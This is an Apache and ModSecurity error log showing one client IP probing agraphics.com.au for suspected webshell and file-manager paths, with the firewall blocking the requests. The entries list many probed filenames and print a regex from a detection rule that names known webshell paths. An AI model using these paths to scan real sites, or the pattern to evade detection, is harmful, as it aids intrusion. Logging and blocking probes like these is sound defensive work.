[Thu Apr 16 02:02:47.274656 2026] [:error] [pid 792:tid 873] [client 20.203.253.182:11384] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad_Sx93PZ8z30TezIkZhswAAAMQ"]
[Thu Apr 16 02:02:47.997657 2026] [:error] [pid 792:tid 877] [client 20.203.253.182:11350] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad_Sx93PZ8z30TezIkZhtQAAAMg"]
[Thu Apr 16 02:02:49.009196 2026] [:error] [pid 34542:tid 34566] [client 20.203.253.182:52238] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad_SyQdF4OGi-asleB6O4wAAAVY"]
[Thu Apr 16 02:02:50.070151 2026] [:error] [pid 912:tid 968] [client 20.203.253.182:54260] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad_SysU0_VzYCBipADkzmQAAAQA"]
[Thu Apr 16 02:02:53.799620 2026] [:error] [pid 34542:tid 34549] [client 20.203.253.182:45728] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad_SzQdF4OGi-asleB6O7wAAAUU"]
[Thu Apr 16 02:02:56.957158 2026] [:error] [pid 20548:tid 20568] [client 20.203.253.182:52246] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad_S0KkpqgnqCHq6bJa5HgAAAJE"]
[Thu Apr 16 02:02:59.987865 2026] [:error] [pid 792:tid 885] [client 20.203.253.182:31102] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad_S093PZ8z30TezIkZhvwAAAMw"]
[Thu Apr 16 02:03:01.992075 2026] [:error] [pid 20548:tid 20574] [client 20.203.253.182:47776] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad_S1akpqgnqCHq6bJa5JwAAAJc"]
[Thu Apr 16 02:03:02.984535 2026] [:error] [pid 20548:tid 20552] [client 20.203.253.182:13327] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad_S1qkpqgnqCHq6bJa5KgAAAIE"]
[Thu Apr 16 02:03:03.876300 2026] [:error] [pid 912:tid 979] [client 20.203.253.182:45715] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad_S18U0_VzYCBipADkzogAAAQs"]
[Thu Apr 16 02:03:05.617024 2026] [:error] [pid 912:tid 991] [client 20.203.253.182:33619] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad_S2cU0_VzYCBipADkzpQAAARc"]
[Thu Apr 16 02:03:06.340091 2026] [:error] [pid 20548:tid 20570] [client 20.203.253.182:47284] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad_S2qkpqgnqCHq6bJa5MgAAAJM"]
[Thu Apr 16 02:03:07.353772 2026] [:error] [pid 34542:tid 34553] [client 20.203.253.182:33621] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad_S2wdF4OGi-asleB6PAwAAAUk"]
[Thu Apr 16 02:03:08.201917 2026] [:error] [pid 34542:tid 34545] [client 20.203.253.182:47259] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad_S3AdF4OGi-asleB6PBgAAAUE"]
[Thu Apr 16 02:03:08.921720 2026] [:error] [pid 34542:tid 34559] [client 20.203.253.182:55220] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad_S3AdF4OGi-asleB6PCAAAAU8"]
[Thu Apr 16 02:03:09.487579 2026] [:error] [pid 790:tid 808] [client 20.203.253.182:52277] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad_S3SHz-rbrjNOa3VKppQAAAA0"]
[Thu Apr 16 02:03:10.302849 2026] [:error] [pid 20548:tid 20556] [client 20.203.253.182:8030] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "ad_S3qkpqgnqCHq6bJa5OQAAAIU"]
[Thu Apr 16 02:03:10.986977 2026] [:error] [pid 792:tid 883] [client 20.203.253.182:12944] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "ad_S3t3PZ8z30TezIkZhygAAAMo"]
[Thu Apr 16 02:03:11.894072 2026] [:error] [pid 20548:tid 20568] [client 20.203.253.182:55196] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "ad_S36kpqgnqCHq6bJa5PgAAAJE"]
[Thu Apr 16 02:03:13.254795 2026] [:error] [pid 34542:tid 34567] [client 20.203.253.182:11693] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "ad_S4QdF4OGi-asleB6PFAAAAVc"]
[Thu Apr 16 02:03:15.704304 2026] [:error] [pid 20548:tid 20570] [client 20.203.253.182:47234] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "ad_S46kpqgnqCHq6bJa5TwAAAJM"]
[Thu Apr 16 02:03:16.911951 2026] [:error] [pid 34542:tid 34552] [client 20.203.253.182:43783] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "ad_S5AdF4OGi-asleB6PGwAAAUg"]
[Thu Apr 16 02:03:18.336798 2026] [:error] [pid 34542:tid 34567] [client 20.203.253.182:39267] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "ad_S5gdF4OGi-asleB6PHwAAAVc"]
[Thu Apr 16 02:03:19.561688 2026] [proxy_fcgi:error] [pid 34542:tid 34566] [client 20.203.253.182:11766] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:03:19.886911 2026] [proxy_fcgi:error] [pid 34542:tid 34567] [client 20.203.253.182:11766] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:03:21.007152 2026] [proxy_fcgi:error] [pid 34542:tid 34565] [client 20.203.253.182:11766] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:03:21.247667 2026] [proxy_fcgi:error] [pid 34542:tid 34545] [client 20.203.253.182:11766] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:03:22.142590 2026] [proxy_fcgi:error] [pid 34542:tid 34550] [client 20.203.253.182:11766] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:03:22.441581 2026] [proxy_fcgi:error] [pid 34542:tid 34544] [client 20.203.253.182:11766] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:03:22.680448 2026] [proxy_fcgi:error] [pid 34542:tid 34547] [client 20.203.253.182:11766] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:03:22.920569 2026] [proxy_fcgi:error] [pid 34542:tid 34546] [client 20.203.253.182:11766] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:03:23.163067 2026] [proxy_fcgi:error] [pid 34542:tid 34565] [client 20.203.253.182:11766] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:03:23.440759 2026] [proxy_fcgi:error] [pid 34542:tid 34568] [client 20.203.253.182:11766] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:03:23.682295 2026] [proxy_fcgi:error] [pid 34542:tid 34560] [client 20.203.253.182:11766] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:03:23.919333 2026] [:error] [pid 34542:tid 34547] [client 20.203.253.182:11766] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "ad_S6wdF4OGi-asleB6PPgAAAUM"]
[Thu Apr 16 02:03:26.067083 2026] [:error] [pid 34542:tid 34565] [client 20.203.253.182:55178] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "ad_S7gdF4OGi-asleB6PRAAAAVU"]
[Thu Apr 16 02:03:27.623819 2026] [:error] [pid 20548:tid 20553] [client 20.203.253.182:18757] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "ad_S76kpqgnqCHq6bJa5igAAAII"]
[Thu Apr 16 02:03:29.737897 2026] [:error] [pid 791:tid 857] [client 20.203.253.182:18753] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mode.php"] [unique_id "ad_S8bxl5Y18om2fepncdgAAAE8"]
[Thu Apr 16 02:03:31.321311 2026] [:error] [pid 34542:tid 34554] [client 20.203.253.182:45109] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/set.php"] [unique_id "ad_S8wdF4OGi-asleB6PTQAAAUo"]
[Thu Apr 16 02:03:32.541447 2026] [:error] [pid 791:tid 863] [client 20.203.253.182:46435] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/set.php"] [unique_id "ad_S9Lxl5Y18om2fepncfQAAAFU"]
[Thu Apr 16 02:03:34.045761 2026] [:error] [pid 792:tid 876] [client 20.203.253.182:10243] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/set.php"] [unique_id "ad_S9t3PZ8z30TezIkZh9gAAAMc"]
[Thu Apr 16 02:03:37.097028 2026] [:error] [pid 791:tid 844] [client 20.203.253.182:10305] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/set.php"] [unique_id "ad_S-bxl5Y18om2fepncggAAAEQ"]
[Thu Apr 16 02:03:40.187410 2026] [:error] [pid 20548:tid 20560] [client 20.203.253.182:17020] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad_S_KkpqgnqCHq6bJa5xQAAAIk"]
[Thu Apr 16 02:03:41.152788 2026] [:error] [pid 54814:tid 54838] [client 20.203.253.182:20751] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad_S_TrHu_-tAAe-BOWvzQAAAZI"]
[Thu Apr 16 02:03:45.692485 2026] [:error] [pid 792:tid 871] [client 20.203.253.182:16621] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad_TAd3PZ8z30TezIkZiDQAAAMI"]
[Thu Apr 16 02:03:47.993037 2026] [:error] [pid 912:tid 970] [client 20.203.253.182:45092] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad_TA8U0_VzYCBipADkzzAAAAQI"]
[Thu Apr 16 02:03:50.185620 2026] [:error] [pid 34542:tid 34558] [client 20.203.253.182:10270] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "ad_TBgdF4OGi-asleB6PkQAAAU4"]
[Thu Apr 16 02:03:51.137791 2026] [:error] [pid 791:tid 861] [client 20.203.253.182:7790] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "ad_TB7xl5Y18om2fepncjgAAAFM"]
[Thu Apr 16 02:03:52.974819 2026] [:error] [pid 20548:tid 20569] [client 20.203.253.182:39183] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "ad_TCKkpqgnqCHq6bJa54QAAAJI"]
[Thu Apr 16 02:03:53.667076 2026] [:error] [pid 54814:tid 54840] [client 20.203.253.182:7246] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "ad_TCTrHu_-tAAe-BOWv6wAAAZQ"]
[Thu Apr 16 02:03:54.643336 2026] [:error] [pid 54814:tid 54832] [client 20.203.253.182:10347] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad_TCjrHu_-tAAe-BOWv7QAAAYw"]
[Thu Apr 16 02:03:55.182841 2026] [:error] [pid 54814:tid 54821] [client 20.203.253.182:3863] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad_TCzrHu_-tAAe-BOWv7wAAAYE"]
[Thu Apr 16 02:03:55.847679 2026] [:error] [pid 34542:tid 34550] [client 20.203.253.182:10301] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad_TCwdF4OGi-asleB6PlwAAAUY"]
[Thu Apr 16 02:03:56.513498 2026] [:error] [pid 791:tid 842] [client 20.203.253.182:24332] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad_TDLxl5Y18om2fepnckQAAAEI"]
[Thu Apr 16 02:03:57.095994 2026] [:error] [pid 54814:tid 54840] [client 20.203.253.182:32285] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad_TDTrHu_-tAAe-BOWv8wAAAZQ"]
[Thu Apr 16 02:03:57.784413 2026] [:error] [pid 791:tid 846] [client 20.203.253.182:18720] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad_TDbxl5Y18om2fepnclQAAAEY"]
[Thu Apr 16 02:03:58.849134 2026] [:error] [pid 791:tid 845] [client 20.203.253.182:32266] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad_TDrxl5Y18om2fepnclwAAAEU"]
[Thu Apr 16 02:03:59.717440 2026] [:error] [pid 912:tid 976] [client 20.203.253.182:19538] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad_TD8U0_VzYCBipADkz2wAAAQg"]
[Thu Apr 16 02:04:01.066053 2026] [:error] [pid 34542:tid 34559] [client 20.203.253.182:32264] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad_TEQdF4OGi-asleB6PoAAAAU8"]
[Thu Apr 16 02:04:01.753249 2026] [:error] [pid 54814:tid 54825] [client 20.203.253.182:19487] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad_TETrHu_-tAAe-BOWv9gAAAYU"]
[Thu Apr 16 02:04:02.553048 2026] [:error] [pid 54814:tid 54824] [client 20.203.253.182:19540] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad_TEjrHu_-tAAe-BOWv-gAAAYQ"]
[Thu Apr 16 02:04:04.055302 2026] [:error] [pid 34542:tid 34549] [client 20.203.253.182:7284] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad_TFAdF4OGi-asleB6PpwAAAUU"]
[Thu Apr 16 02:04:05.984905 2026] [:error] [pid 912:tid 989] [client 20.203.253.182:15721] [client 20.203.253.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "ad_TFcU0_VzYCBipADkz5AAAARU"]
[Thu Apr 16 02:04:07.566179 2026] [:error] [pid 792:tid 871] [client 20.203.253.182:11310] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad_TF93PZ8z30TezIkZiLgAAAMI"]
